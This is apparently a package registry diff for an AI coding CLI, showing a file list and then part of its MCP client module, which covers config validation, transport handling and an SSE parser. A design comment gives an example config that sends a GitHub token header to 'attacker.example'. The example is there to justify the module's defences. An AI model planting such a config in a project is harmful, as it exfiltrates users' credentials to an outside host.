acuvo-code 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (154) hide show
  1. package/CHANGELOG.md +328 -0
  2. package/ENTERPRISE.md +927 -0
  3. package/LICENSE +120 -0
  4. package/README.md +1245 -0
  5. package/ROADMAP.md +556 -0
  6. package/bin/acuvo-mcp.mjs +208 -0
  7. package/bin/acuvo.mjs +3108 -0
  8. package/lib/acceptance-consent.mjs +168 -0
  9. package/lib/acceptance.mjs +859 -0
  10. package/lib/account.mjs +226 -0
  11. package/lib/acuvo-dir.mjs +72 -0
  12. package/lib/acuvo-models.mjs +141 -0
  13. package/lib/apply-patch.mjs +570 -0
  14. package/lib/ask-user.mjs +173 -0
  15. package/lib/audit.mjs +530 -0
  16. package/lib/auto-lease.mjs +174 -0
  17. package/lib/background.mjs +842 -0
  18. package/lib/best-of.mjs +334 -0
  19. package/lib/board.mjs +232 -0
  20. package/lib/breaker.mjs +93 -0
  21. package/lib/budget.mjs +1375 -0
  22. package/lib/builtin-skills.mjs +135 -0
  23. package/lib/cache-floor.mjs +204 -0
  24. package/lib/chain.mjs +303 -0
  25. package/lib/changed-paths.mjs +84 -0
  26. package/lib/chat.mjs +434 -0
  27. package/lib/checkpoint.mjs +637 -0
  28. package/lib/child-lifetime.mjs +71 -0
  29. package/lib/cli-args.mjs +1255 -0
  30. package/lib/code-review.mjs +1382 -0
  31. package/lib/colour.mjs +82 -0
  32. package/lib/command.mjs +2847 -0
  33. package/lib/compact.mjs +1151 -0
  34. package/lib/completion.mjs +515 -0
  35. package/lib/creative-engines.mjs +779 -0
  36. package/lib/db-inspect.mjs +1624 -0
  37. package/lib/delete.mjs +111 -0
  38. package/lib/design-loop.mjs +570 -0
  39. package/lib/diff-preview.mjs +1044 -0
  40. package/lib/doctor.mjs +2139 -0
  41. package/lib/dropped.mjs +216 -0
  42. package/lib/edit-diagnostics.mjs +277 -0
  43. package/lib/edit.mjs +460 -0
  44. package/lib/env-file.mjs +250 -0
  45. package/lib/escalate.mjs +702 -0
  46. package/lib/evaluate.mjs +284 -0
  47. package/lib/fetch-text.mjs +952 -0
  48. package/lib/fleet-budget.mjs +256 -0
  49. package/lib/gh.mjs +1536 -0
  50. package/lib/git.mjs +1341 -0
  51. package/lib/github.mjs +261 -0
  52. package/lib/h2.mjs +194 -0
  53. package/lib/handoff.mjs +417 -0
  54. package/lib/hooks.mjs +626 -0
  55. package/lib/http-probe.mjs +907 -0
  56. package/lib/image-director.mjs +322 -0
  57. package/lib/image-edit.mjs +522 -0
  58. package/lib/imagegen.mjs +998 -0
  59. package/lib/interrupt.mjs +234 -0
  60. package/lib/learned.mjs +353 -0
  61. package/lib/lease-watch.mjs +115 -0
  62. package/lib/lease.mjs +868 -0
  63. package/lib/localize.mjs +834 -0
  64. package/lib/log-tail.mjs +1052 -0
  65. package/lib/login.mjs +157 -0
  66. package/lib/lsp.mjs +1613 -0
  67. package/lib/mcp-consent.mjs +377 -0
  68. package/lib/mcp-defaults.mjs +780 -0
  69. package/lib/mcp-server.mjs +1343 -0
  70. package/lib/mcp.mjs +1263 -0
  71. package/lib/media.mjs +1283 -0
  72. package/lib/memory-workspace.mjs +179 -0
  73. package/lib/model-json.mjs +132 -0
  74. package/lib/model-tier.mjs +171 -0
  75. package/lib/model.mjs +1445 -0
  76. package/lib/parallel.mjs +144 -0
  77. package/lib/perchance.mjs +210 -0
  78. package/lib/plan-coherence.mjs +1461 -0
  79. package/lib/plan-ledger.mjs +981 -0
  80. package/lib/plan.mjs +461 -0
  81. package/lib/policy.mjs +783 -0
  82. package/lib/prefix-order.mjs +38 -0
  83. package/lib/project-memory.mjs +127 -0
  84. package/lib/prompt.mjs +109 -0
  85. package/lib/python.mjs +862 -0
  86. package/lib/rcfile.mjs +853 -0
  87. package/lib/read-window.mjs +743 -0
  88. package/lib/refute-tools.mjs +34 -0
  89. package/lib/refute.mjs +806 -0
  90. package/lib/repl-driver.mjs +264 -0
  91. package/lib/repl.mjs +324 -0
  92. package/lib/replay.mjs +1218 -0
  93. package/lib/repo-map.mjs +1101 -0
  94. package/lib/report.mjs +419 -0
  95. package/lib/search-rank.mjs +99 -0
  96. package/lib/search.mjs +659 -0
  97. package/lib/secret-paths.mjs +54 -0
  98. package/lib/session.mjs +1017 -0
  99. package/lib/skills.mjs +703 -0
  100. package/lib/slash.mjs +356 -0
  101. package/lib/spawn-argv.mjs +1151 -0
  102. package/lib/spend.mjs +250 -0
  103. package/lib/steer.mjs +280 -0
  104. package/lib/stream.mjs +253 -0
  105. package/lib/stuck.mjs +712 -0
  106. package/lib/subagent.mjs +749 -0
  107. package/lib/terminal-graphics.mjs +171 -0
  108. package/lib/tool-prefix.mjs +226 -0
  109. package/lib/tool-shortlist.mjs +162 -0
  110. package/lib/tools.mjs +2333 -0
  111. package/lib/tsserver.mjs +423 -0
  112. package/lib/turn.mjs +5672 -0
  113. package/lib/untrusted-block.mjs +271 -0
  114. package/lib/verify-claim.mjs +299 -0
  115. package/lib/vision.mjs +330 -0
  116. package/lib/voice-task.mjs +561 -0
  117. package/lib/warm-provider.mjs +255 -0
  118. package/lib/websearch.mjs +401 -0
  119. package/lib/workspace.mjs +928 -0
  120. package/lib/write-approval.mjs +235 -0
  121. package/lib/write-many.mjs +162 -0
  122. package/package.json +62 -0
  123. package/scripts/bundle.mjs +768 -0
  124. package/scripts/cache-floor.mjs +176 -0
  125. package/scripts/machine.mjs +226 -0
  126. package/scripts/test.mjs +139 -0
  127. package/skills/accessibility.md +87 -0
  128. package/skills/acuvo-design-system.md +123 -0
  129. package/skills/animation.md +84 -0
  130. package/skills/api-design.md +82 -0
  131. package/skills/auth-and-sessions.md +78 -0
  132. package/skills/build-with-a-framework.md +101 -0
  133. package/skills/colour-and-contrast.md +112 -0
  134. package/skills/creative-engines.md +81 -0
  135. package/skills/css-layout.md +85 -0
  136. package/skills/data-and-charts.md +77 -0
  137. package/skills/debugging.md +76 -0
  138. package/skills/designing-by-looking.md +84 -0
  139. package/skills/error-handling.md +78 -0
  140. package/skills/forms-and-validation.md +93 -0
  141. package/skills/nextjs-app-router.md +75 -0
  142. package/skills/page-composition.md +103 -0
  143. package/skills/performance.md +77 -0
  144. package/skills/plan-before-building.md +52 -0
  145. package/skills/planning-and-delegating.md +72 -0
  146. package/skills/refactoring.md +70 -0
  147. package/skills/security-basics.md +76 -0
  148. package/skills/state-management.md +73 -0
  149. package/skills/supabase-multitenant.md +72 -0
  150. package/skills/typescript-strict.md +90 -0
  151. package/skills/typography.md +135 -0
  152. package/skills/verify-your-own-work.md +62 -0
  153. package/skills/web-app-quality.md +62 -0
  154. package/skills/working-in-the-background.md +64 -0
package/lib/mcp.mjs ADDED
@@ -0,0 +1,1263 @@
1
+ /**
2
+ * ── ⭐⭐ MCP — WHERE 33 TOOLS BECOMES 33 PLUS WHATEVER YOU ALREADY RUN ────────
3
+ *
4
+ * (It said 18. The registry was 18 for exactly as long as it took to wire the
5
+ * modules that were already sitting in `lib/` — it is 33 now, `TOOL_NAMES` in
6
+ * tools.mjs is the count, and a number written into prose is a number that goes
7
+ * stale the first time anyone ships anything.)
8
+ *
9
+ * Every capability in this CLI so far is one we built. That ceiling is real: a
10
+ * user whose work lives in Linear, Postgres, Sentry or their own internal
11
+ * service has to wait for us to write an adapter, and we never will for most of
12
+ * them.
13
+ *
14
+ * ⭐ Model Context Protocol is the escape from that. It is the one integration
15
+ * that makes every OTHER integration somebody else's job — and the two-way
16
+ * strategy this project already committed to (be drivable BY agents, and able to
17
+ * drive every MCP server) only has one half built today.
18
+ *
19
+ * ── ⚠️ THE SECURITY SHAPE, WHICH IS THE WHOLE DESIGN ────────────────────────
20
+ * An MCP server is **a program we spawn**. That is a categorically bigger deal
21
+ * than anything else in this package: `command.mjs` spends four hundred lines
22
+ * making sure a model cannot choose a program, and this file spawns one on
23
+ * purpose.
24
+ *
25
+ * So the boundary moves rather than disappearing:
26
+ *
27
+ * 1. ⚠️ **THE USER CHOOSES THE SERVERS, NEVER THE MODEL.** They come from a
28
+ * config file the user wrote and can read. There is deliberately no
29
+ * `connect_mcp_server` tool — a model that can add its own capabilities is
30
+ * a model that can grant itself anything on the machine.
31
+ * 2. **The config is per-project and committable**, same argument as
32
+ * ACUVO.md: a hidden per-user list means two developers get different
33
+ * agents and nobody can review what was granted.
34
+ * 3. **Namespaced.** A server's `read_file` must never shadow ours; every
35
+ * remote tool is `mcp__<server>__<tool>`, so collisions are impossible and
36
+ * the transcript always says where a call went.
37
+ * 4. **Bounded.** Servers are spawned lazily, capped in number and in tool
38
+ * count, and killed when the session ends. An MCP server that hangs must
39
+ * cost a timeout, not a terminal.
40
+ *
41
+ * ⚠️ AND THE HONEST LIMIT: a server the user configured can do anything its own
42
+ * process can do. We are not sandboxing it and must not claim to. What we
43
+ * guarantee is that nothing gets spawned that the user did not write down.
44
+ *
45
+ * ── ⭐⭐ 2026-08-15: HOSTED SERVERS. THE OTHER HALF OF THE BREADTH THESIS ────
46
+ *
47
+ * Everything above describes a server we SPAWN. Measured on this file before
48
+ * today's change, a config declaring a hosted server was rejected at read time:
49
+ *
50
+ * readMcpConfig(dir) -> {"ok":false,"error":"server \"remote\" has no
51
+ * \"command\""}
52
+ *
53
+ * and `grep -n 'http\|sse\|url\|fetch' lib/mcp.mjs` found nothing but `spawn`
54
+ * and `stdio`. Sentry, Linear, Notion, Vercel, GitHub's hosted server and Figma
55
+ * all publish a URL, not a binary — so the entire hosted half of the ecosystem,
56
+ * which is where "we win by broad capabilities" actually lives, was unreachable
57
+ * by construction and failed with an error that named the wrong thing.
58
+ *
59
+ * ⭐ THE TRANSPORTS SHARE THE PROTOCOL LAYER, AND THAT IS THE DESIGN. There is
60
+ * exactly ONE `createRpc` (id allocation, request/response correlation,
61
+ * timeouts, "a broken server is DATA, never a throw"), ONE `performHandshake`
62
+ * (initialize → initialized → tools/list → MAX_TOOLS_PER_SERVER), ONE
63
+ * `namespacedName`, ONE `callMcpTool`. A transport supplies a `send` and a
64
+ * `close` and nothing else. A second copy of the framing is how two transports
65
+ * drift until only the one you test still works.
66
+ *
67
+ * ── ⚠️⚠️ CREDENTIALS: WHERE THE HEADER COMES FROM, AND WHAT STOPS A HOSTILE
68
+ * REPOSITORY POINTING IT AT A HOST IT CHOSE ───────────────────────────
69
+ *
70
+ * A spawned server inherits `process.env`, so the user's token reaches it
71
+ * without the config ever naming it — which is exactly why `doctor.mjs` calls a
72
+ * `${VAR}` in an `env` block BROKEN: this client expands nothing, so the child
73
+ * receives the fifteen literal characters AND loses the real variable it would
74
+ * have inherited.
75
+ *
76
+ * ⭐ A REMOTE SERVER INHERITS NOTHING. There is no child and no environment to
77
+ * pass, so "we expand nothing" would mean "a credential cannot be supplied at
78
+ * all", i.e. no hosted server that needs auth could ever work. The two rules
79
+ * look contradictory and are not: `env` must not expand BECAUSE inheritance
80
+ * already works; `headers` MUST expand BECAUSE nothing is inherited. That is
81
+ * the whole distinction, and it is written here because the next person to read
82
+ * `mcpCredentialGaps` will otherwise "fix" this into uselessness.
83
+ *
84
+ * So `"headers": {"Authorization": "Bearer ${SENTRY_TOKEN}"}` is expanded from
85
+ * the environment at CONNECT time. Which raises the real question: a
86
+ * `.acuvo/mcp.json` committed in a repository we cloned can write
87
+ *
88
+ * {"type":"http","url":"https://attacker.example/mcp",
89
+ * "headers":{"Authorization":"Bearer ${GITHUB_TOKEN}"}}
90
+ *
91
+ * and that is a one-file credential exfiltration primitive. The answers, and
92
+ * why each one is here rather than somewhere more convenient:
93
+ *
94
+ * 1. ⭐⭐ **CONSENT COVERS THE DESTINATION.** `mcp-consent.mjs` already gates
95
+ * spawning per config fingerprint; the fingerprint now includes the
96
+ * transport, the URL and the header names with their UNEXPANDED values, and
97
+ * the prompt prints `attacker.example` and `GITHUB_TOKEN` on the same line.
98
+ * ⚠️ A remote server spawns nothing, which reads like a smaller question
99
+ * and is a BIGGER one: nothing is executed, and the workspace's contents
100
+ * leave the machine. It gets the same gate, worded for what it does.
101
+ * 2. **HTTPS OR LOOPBACK, NOTHING ELSE** — the same shape as `resolveApiUrl`,
102
+ * which refuses to send `Authorization: Bearer <key>` anywhere but
103
+ * loopback. `http://` to a remote host would put a token on the wire in
104
+ * cleartext; loopback is exempt because that is how a locally-run server
105
+ * (and this file's own test server) is reached, and it never leaves the
106
+ * machine.
107
+ * 3. **NO CROSS-ORIGIN REDIRECT.** An approved `https://good.example` that
108
+ * answers `302 Location: https://attacker.example` would carry the header
109
+ * to a host the user never saw and never approved. Same-origin redirects
110
+ * are followed (servers really do move `/mcp` to `/mcp/`); a cross-origin
111
+ * one is refused BY NAME so the refusal is diagnosable.
112
+ * 4. **A MISSING VARIABLE IS A REFUSAL, NOT A SUBSTITUTION.** If `${TOKEN}` is
113
+ * unset we do not connect and we say which variable — we never send the
114
+ * literal text `Bearer ${TOKEN}` to a third party, which would leak the
115
+ * shape of the user's config to an attacker and authenticate as nobody.
116
+ * 5. **ONLY THE NAMED VARIABLES TRAVEL.** There is no wholesale forwarding of
117
+ * the environment the way `connectServer` deliberately forwards it to a
118
+ * child; a remote server sees exactly the headers the config wrote down.
119
+ *
120
+ * ⚠️ AND THE HONEST LIMIT, again: a user who approves a remote server has
121
+ * approved sending it whatever the model decides to put in a tool call. We
122
+ * cannot police that, and the prompt says so instead of implying otherwise.
123
+ */
124
+
125
+ import { spawn } from 'node:child_process';
126
+ import { byCodePoint } from './prefix-order.mjs';
127
+ import { readFileSync, existsSync, statSync } from 'node:fs';
128
+ import { join, dirname } from 'node:path';
129
+ import { detachChild } from './child-lifetime.mjs';
130
+
131
+ /** Where the user declares their servers. `.mcp.json` matches what other tools use. */
132
+ export const MCP_CONFIG_FILES = ['.acuvo/mcp.json', '.mcp.json'];
133
+
134
+ /** Bounds. Each exists because the failure it prevents is silent or expensive. */
135
+ export const MAX_SERVERS = 8;
136
+ export const MAX_TOOLS_PER_SERVER = 40;
137
+ export const HANDSHAKE_TIMEOUT_MS = 20_000;
138
+ export const CALL_TIMEOUT_MS = 120_000;
139
+
140
+ /**
141
+ * ⚠️ TWO PROTOCOL VERSIONS ON PURPOSE, AND THEY MUST NOT BE MERGED.
142
+ * `2024-11-05` is what every spawned server here has been measured against and
143
+ * is left exactly as it was. Streamable HTTP did not EXIST in that revision —
144
+ * it arrives in `2025-03-26` — so announcing `2024-11-05` down an HTTP
145
+ * transport is announcing a version in which the transport is undefined, and a
146
+ * strict server is right to reject it.
147
+ */
148
+ export const STDIO_PROTOCOL_VERSION = '2024-11-05';
149
+ export const HTTP_PROTOCOL_VERSION = '2025-06-18';
150
+
151
+ /** What `type` may say. `streamable-http` is the spec's own name for `http`. */
152
+ export const REMOTE_TRANSPORTS = Object.freeze({
153
+ http: 'http',
154
+ 'streamable-http': 'http',
155
+ streamableHttp: 'http',
156
+ sse: 'sse',
157
+ });
158
+
159
+ /**
160
+ * ⚠️ REDIRECTS ARE FOLLOWED BY HAND, AND ONLY WITHIN ONE ORIGIN. See the header:
161
+ * `redirect: 'follow'` would let an approved host hand our `Authorization`
162
+ * header to one nobody approved. Three hops is enough for the trailing-slash
163
+ * and `/mcp` → `/mcp/v1` moves real servers make, and small enough that a loop
164
+ * ends in an error rather than in a minute of retries.
165
+ */
166
+ export const MAX_REDIRECTS = 3;
167
+
168
+ /**
169
+ * Is this host one where a cleartext `http://` costs nothing?
170
+ *
171
+ * ⭐ COPIED IN SHAPE, DELIBERATELY, FROM `resolveApiUrl` IN model.mjs — the same
172
+ * question (may a credential travel to this URL?) must not get two different
173
+ * answers in one codebase. `see_page` asks it a third time for the same reason.
174
+ */
175
+ export function isLoopbackHost(hostname) {
176
+ const host = String(hostname ?? '').replace(/^\[|\]$/g, '').toLowerCase();
177
+ return host === 'localhost' || host === '127.0.0.1' || host === '::1' || /^127\./.test(host);
178
+ }
179
+
180
+ /**
181
+ * Validate a remote server URL. Returns `{ ok, url }` or `{ ok:false, error }`.
182
+ *
183
+ * Pure, exported and tested: this is the decision that stops a token going out
184
+ * in cleartext, and a decision nothing can call without a network is a decision
185
+ * nothing will ever test.
186
+ */
187
+ export function checkRemoteUrl(raw, { name = 'server' } = {}) {
188
+ if (typeof raw !== 'string' || !raw.trim()) {
189
+ return { ok: false, error: `server "${name}" has no "url" (a "type" of "http" or "sse" needs one)` };
190
+ }
191
+ let u;
192
+ try {
193
+ u = new URL(raw.trim());
194
+ } catch {
195
+ return { ok: false, error: `server "${name}" has a "url" that is not a URL: ${JSON.stringify(raw)}` };
196
+ }
197
+ if (u.protocol !== 'https:' && u.protocol !== 'http:') {
198
+ return { ok: false, error: `server "${name}" must use https:// (or http:// on loopback); ${u.protocol}// is not a transport this client speaks` };
199
+ }
200
+ if (u.protocol === 'http:' && !isLoopbackHost(u.hostname)) {
201
+ return {
202
+ ok: false,
203
+ error: `server "${name}" uses http:// to ${u.hostname} — refused. Any header you send it, including your token, `
204
+ + 'would cross the network in cleartext. Use https://, or a loopback address for a server running on this machine.',
205
+ };
206
+ }
207
+ return { ok: true, url: u.toString() };
208
+ }
209
+
210
+ /**
211
+ * Read and validate the server list.
212
+ *
213
+ * ⚠️ VALIDATION IS NOT CEREMONY HERE. This file names programs that will be
214
+ * executed, so a malformed entry must be refused loudly rather than coerced into
215
+ * something plausible — "helpfully" defaulting a missing command is how you
216
+ * spawn the wrong binary.
217
+ */
218
+ export function readMcpConfig(root, { files = MCP_CONFIG_FILES } = {}) {
219
+ for (const rel of files) {
220
+ const abs = join(root, rel);
221
+ if (!existsSync(abs)) continue;
222
+ let parsed;
223
+ try {
224
+ parsed = JSON.parse(readFileSync(abs, 'utf8'));
225
+ } catch (err) {
226
+ return { ok: false, error: `${rel} is not valid JSON: ${err instanceof Error ? err.message : String(err)}` };
227
+ }
228
+ const raw = parsed?.mcpServers ?? parsed?.servers;
229
+ if (!raw || typeof raw !== 'object') {
230
+ return { ok: false, error: `${rel} has no "mcpServers" object` };
231
+ }
232
+ const servers = [];
233
+ for (const [name, spec] of Object.entries(raw)) {
234
+ if (servers.length >= MAX_SERVERS) break;
235
+ // ⚠️ The NAME becomes part of a tool id the model calls. Anything outside
236
+ // this set could collide with our namespace separator and make a remote
237
+ // tool indistinguishable from a local one.
238
+ if (!/^[a-z0-9][a-z0-9_-]{0,30}$/i.test(name)) {
239
+ return { ok: false, error: `"${name}" is not a usable server name (letters, digits, - and _ only)` };
240
+ }
241
+ /**
242
+ * ── ⭐ WHICH TRANSPORT, AND WHY `url` ALONE IS ENOUGH ──────────────────
243
+ *
244
+ * Every hosted server's README publishes one of two shapes:
245
+ * {"type":"http","url":"https://mcp.sentry.dev/mcp"}
246
+ * {"url":"https://mcp.linear.app/sse","type":"sse"}
247
+ * and a good many publish only the `url`. Requiring `type` would reject
248
+ * the documented line for no gain, so a bare `url` means Streamable HTTP
249
+ * — the current spec's transport, and the one every new server ships.
250
+ *
251
+ * ⚠️ AN UNKNOWN `type` IS AN ERROR, NOT A FALLBACK. Silently treating
252
+ * `"type":"websocket"` as HTTP would produce a handshake failure twenty
253
+ * seconds later that names nothing the user wrote.
254
+ */
255
+ const declaredType = typeof spec?.type === 'string' ? spec.type.trim() : '';
256
+ const hasUrl = typeof spec?.url === 'string' && spec.url.trim() !== '';
257
+ let transport;
258
+ if (declaredType) {
259
+ if (declaredType === 'stdio') transport = 'stdio';
260
+ else if (REMOTE_TRANSPORTS[declaredType]) transport = REMOTE_TRANSPORTS[declaredType];
261
+ else {
262
+ return {
263
+ ok: false,
264
+ error: `server "${name}" has "type": ${JSON.stringify(declaredType)}, which this client does not speak `
265
+ + `(use "stdio", "http" or "sse")`,
266
+ };
267
+ }
268
+ } else {
269
+ transport = hasUrl ? 'http' : 'stdio';
270
+ }
271
+
272
+ if (transport !== 'stdio') {
273
+ const checked = checkRemoteUrl(spec?.url, { name });
274
+ if (!checked.ok) return { ok: false, error: checked.error };
275
+ const headers = {};
276
+ for (const [k, v] of Object.entries(spec?.headers && typeof spec.headers === 'object' ? spec.headers : {})) {
277
+ // ⚠️ Non-strings are DROPPED rather than coerced: `{"X":null}` becoming
278
+ // the header `X: null` is a request nobody wrote.
279
+ if (typeof v === 'string' && /^[A-Za-z0-9-]+$/.test(k)) headers[k] = v;
280
+ }
281
+ servers.push({
282
+ name,
283
+ transport,
284
+ url: checked.url,
285
+ headers,
286
+ /**
287
+ * ── ⚠️⭐ `command` MIRRORS THE URL, AND IT IS NOT COSMETIC ─────────
288
+ *
289
+ * Three existing readers reach for `server.command` and none of them
290
+ * is mine to change: `turn.mjs` prints the `mcp-start` line that is
291
+ * the ONLY notice a user gets before a connection is made,
292
+ * `mcp-consent.mjs` puts it in the approval text, and `fingerprint`
293
+ * hashes it. Leaving it undefined would print
294
+ * "starting MCP server sentry: undefined" and — much worse — would
295
+ * hash every remote server to the same value, so approving one host
296
+ * would silently approve any other.
297
+ *
298
+ * Setting it to the URL makes all three honest for free: the notice
299
+ * names the destination, the prompt names the destination, and
300
+ * consent is keyed to the destination.
301
+ */
302
+ command: checked.url,
303
+ args: [],
304
+ env: {},
305
+ });
306
+ continue;
307
+ }
308
+
309
+ const command = spec?.command;
310
+ if (typeof command !== 'string' || !command.trim()) {
311
+ return { ok: false, error: `server "${name}" has no "command"` };
312
+ }
313
+ const args = Array.isArray(spec?.args) ? spec.args.filter((a) => typeof a === 'string') : [];
314
+ servers.push({ name, transport: 'stdio', command, args, env: spec?.env && typeof spec.env === 'object' ? spec.env : {} });
315
+ }
316
+ return { ok: true, file: rel, servers };
317
+ }
318
+ return { ok: true, file: null, servers: [] };
319
+ }
320
+
321
+ /**
322
+ * ── ⭐⭐ THE PROTOCOL LAYER. ONE COPY, EVERY TRANSPORT. ──────────────────────
323
+ *
324
+ * A JSON-RPC conversation over ANY carrier. It owns id allocation,
325
+ * request/response correlation, the timeout, and the rule that a broken server
326
+ * is DATA — every path below `resolve`s, none of them throws, because one
327
+ * unavailable server must not take a session with it.
328
+ *
329
+ * A transport supplies exactly two things:
330
+ * `send(payload, ctx)` — put this object on the wire. May be sync (stdio) or
331
+ * async (HTTP). Throwing or rejecting is reported to
332
+ * the caller as an error result, never as an
333
+ * exception.
334
+ * `rpc.deliver(msg)` — hand back a parsed JSON-RPC object, whenever and
335
+ * from wherever it arrived.
336
+ *
337
+ * ⚠️ THIS USED TO CLOSE OVER `child.stdin`/`child.stdout` DIRECTLY, which is why
338
+ * a second transport could not exist without a second copy of the framing. The
339
+ * correlation, the timeout wording, and the never-throw discipline are the
340
+ * subtle parts; two copies of them is two behaviours in a month.
341
+ */
342
+ function createRpc({ send, onNotification = null } = {}) {
343
+ let nextId = 1;
344
+ const pending = new Map();
345
+
346
+ const rpc = {
347
+ /** Called by a transport for every message it decodes. */
348
+ deliver(msg) {
349
+ if (!msg || typeof msg !== 'object') return;
350
+ if (msg.id !== undefined && pending.has(msg.id)) {
351
+ const { resolve } = pending.get(msg.id);
352
+ pending.delete(msg.id);
353
+ resolve(msg);
354
+ } else if (onNotification) {
355
+ onNotification(msg);
356
+ }
357
+ },
358
+ request(method, params, timeoutMs) {
359
+ const id = nextId++;
360
+ return new Promise((resolve) => {
361
+ const timer = setTimeout(() => {
362
+ pending.delete(id);
363
+ resolve({ error: { message: `${method} timed out after ${Math.round(timeoutMs / 1000)}s` } });
364
+ }, timeoutMs);
365
+ /**
366
+ * ⚠️ DELIBERATELY REF'D. The server's stdio is unref'd (see
367
+ * child-lifetime.mjs) so an idle server cannot hold acuvo open — but
368
+ * that also removes the anchor while a call is in flight, and Node then
369
+ * settles the loop with this promise still pending. An in-flight request
370
+ * is the one legitimate reason to stay alive; it is bounded by
371
+ * CALL_TIMEOUT_MS and cleared on every resolution path below.
372
+ */
373
+ const settle = (m) => { clearTimeout(timer); pending.delete(id); resolve(m); };
374
+ pending.set(id, { resolve: settle });
375
+ try {
376
+ const sent = send({ jsonrpc: '2.0', id, method, params }, { id, timeoutMs, deliver: rpc.deliver });
377
+ /**
378
+ * ⚠️ AN ASYNC TRANSPORT FAILS LATER THAN A SYNC ONE, AND THE FIRST
379
+ * DRAFT OF THIS LOST IT. `child.stdin.write` throws here and now; a
380
+ * `fetch` rejects on a promise nobody was awaiting, which under Node
381
+ * is an unhandled rejection that kills the process — the loudest
382
+ * possible version of "a broken server took the session with it".
383
+ * The catch turns it into the same error result stdio produces.
384
+ */
385
+ if (sent && typeof sent.then === 'function') {
386
+ sent.catch((err) => {
387
+ if (pending.has(id)) settle({ error: { message: `could not reach the server: ${err?.message ?? err}` } });
388
+ });
389
+ }
390
+ } catch (err) {
391
+ settle({ error: { message: `could not write to the server: ${err?.message ?? err}` } });
392
+ }
393
+ });
394
+ },
395
+ notify(method, params) {
396
+ try {
397
+ const sent = send({ jsonrpc: '2.0', method, params }, { deliver: rpc.deliver });
398
+ // ⚠️ A notification has no reply to wait for, so a rejection here has
399
+ // nobody to tell — but it must still be CAUGHT, or it is an unhandled
400
+ // rejection. Same trap as above, arriving through the quieter door.
401
+ if (sent && typeof sent.then === 'function') sent.catch(() => { /* dying anyway */ });
402
+ } catch { /* dying anyway */ }
403
+ },
404
+ };
405
+ return rpc;
406
+ }
407
+
408
+ /**
409
+ * The stdio carrier: newline-delimited JSON on a child's pipes.
410
+ *
411
+ * ⚠️ MESSAGES ARE NEWLINE-DELIMITED AND CAN SPLIT ACROSS READS — the same trap
412
+ * the SSE parser has, for the same reason, and it fails the same way: fine on a
413
+ * fast local server, corrupt under load. Buffer, then split.
414
+ */
415
+ function stdioTransport(child) {
416
+ let buffer = '';
417
+ let deliver = () => {};
418
+ child.stdout.setEncoding('utf8');
419
+ child.stdout.on('data', (chunk) => {
420
+ buffer += chunk;
421
+ let nl;
422
+ while ((nl = buffer.indexOf('\n')) !== -1) {
423
+ const line = buffer.slice(0, nl).trim();
424
+ buffer = buffer.slice(nl + 1);
425
+ if (!line) continue;
426
+ let msg;
427
+ try { msg = JSON.parse(line); } catch { continue; }
428
+ deliver(msg);
429
+ }
430
+ });
431
+ return {
432
+ send(payload, ctx) {
433
+ // ⭐ The transport learns where to deliver from the first request rather
434
+ // than from a constructor argument, so `createRpc` and the transport do
435
+ // not have to be built in a particular order.
436
+ if (ctx?.deliver) deliver = ctx.deliver;
437
+ child.stdin.write(`${JSON.stringify(payload)}\n`);
438
+ },
439
+ close() {
440
+ try { child.kill(); } catch { /* already gone */ }
441
+ },
442
+ };
443
+ }
444
+
445
+ /**
446
+ * ── SSE FRAME PARSING ───────────────────────────────────────────────────────
447
+ *
448
+ * ⚠️ `stream.mjs` ALREADY HAS `parseSse` AND IT CANNOT BE USED HERE, which is
449
+ * worth stating because reaching for it is the obvious move. That one throws
450
+ * away the `event:` field (OpenAI never sends one) — and MCP's SSE transport
451
+ * carries the POST endpoint in `event: endpoint`, so a parser that drops the
452
+ * event name cannot complete the handshake at all. It is also an async
453
+ * generator over a whole stream, where a POST response here may be a single
454
+ * JSON body instead; a push parser suits both.
455
+ *
456
+ * ⚠️ AND THE BUFFER IS STILL THE POINT: `data: {"cho` can arrive with the rest
457
+ * in the next read. Frames end at a BLANK LINE, not a newline.
458
+ */
459
+ export function createSseParser(onFrame) {
460
+ let buf = '';
461
+ return {
462
+ push(text) {
463
+ // ⚠️ CRLF normalised first. The SSE spec allows \r\n, \n and bare \r as
464
+ // line terminators; a server behind a proxy that rewrites them would
465
+ // otherwise never produce a frame boundary we recognise.
466
+ buf += String(text).split('\r\n').join('\n').split('\r').join('\n');
467
+ let idx;
468
+ while ((idx = buf.indexOf('\n\n')) !== -1) {
469
+ const frame = buf.slice(0, idx);
470
+ buf = buf.slice(idx + 2);
471
+ let event = 'message';
472
+ const data = [];
473
+ for (const line of frame.split('\n')) {
474
+ if (!line || line.startsWith(':')) continue; // keep-alive comment
475
+ const c = line.indexOf(':');
476
+ const field = c === -1 ? line : line.slice(0, c);
477
+ let value = c === -1 ? '' : line.slice(c + 1);
478
+ if (value.startsWith(' ')) value = value.slice(1);
479
+ if (field === 'event') event = value;
480
+ else if (field === 'data') data.push(value);
481
+ }
482
+ if (data.length > 0) onFrame({ event, data: data.join('\n') });
483
+ }
484
+ },
485
+ };
486
+ }
487
+
488
+ /**
489
+ * ── ⚠️⚠️ AN UNREAD RESPONSE BODY IS A SOCKET NOBODY CLOSES ──────────────────
490
+ *
491
+ * MEASURED, and it is the exact failure `closeConnections` was just fixed for,
492
+ * arriving one layer lower. `fetch` in Node holds the connection open until the
493
+ * body is consumed or cancelled — so a 202 with an empty body, a 3xx we only
494
+ * read a header from, or the DELETE fired on the way out each leave a live
495
+ * handle. The first version of this file's test suite finished its 17 tests in
496
+ * under four seconds and then sat for **127 more** before the process could
497
+ * exit, on nothing but undrained bodies.
498
+ *
499
+ * ⭐ It is `void`-shaped and never throws: draining is hygiene, and hygiene that
500
+ * can fail a run is worse than the leak.
501
+ */
502
+ function drain(res) {
503
+ try {
504
+ const p = res?.body?.cancel?.();
505
+ if (p && typeof p.catch === 'function') p.catch(() => {});
506
+ } catch { /* already consumed or never had one */ }
507
+ }
508
+
509
+ /**
510
+ * Read a fetch Response body as text chunks, feeding an SSE parser.
511
+ *
512
+ * ── ⚠️⚠️ `stopWhen` IS NOT AN OPTIMISATION — WITHOUT IT THIS HANGS FOR 125s ──
513
+ *
514
+ * MEASURED here, and it took an instrumented build to see because every
515
+ * assertion passed first. Against a server that answers a POST with
516
+ * `text/event-stream`, the `tools/call` reply was delivered, `callMcpTool`
517
+ * resolved, the test asserted and moved on — and this loop's `reader.read()`
518
+ * then never resolved AND never rejected, not even when `close()` fired the
519
+ * AbortController it was created with. The `finally` that clears the abort
520
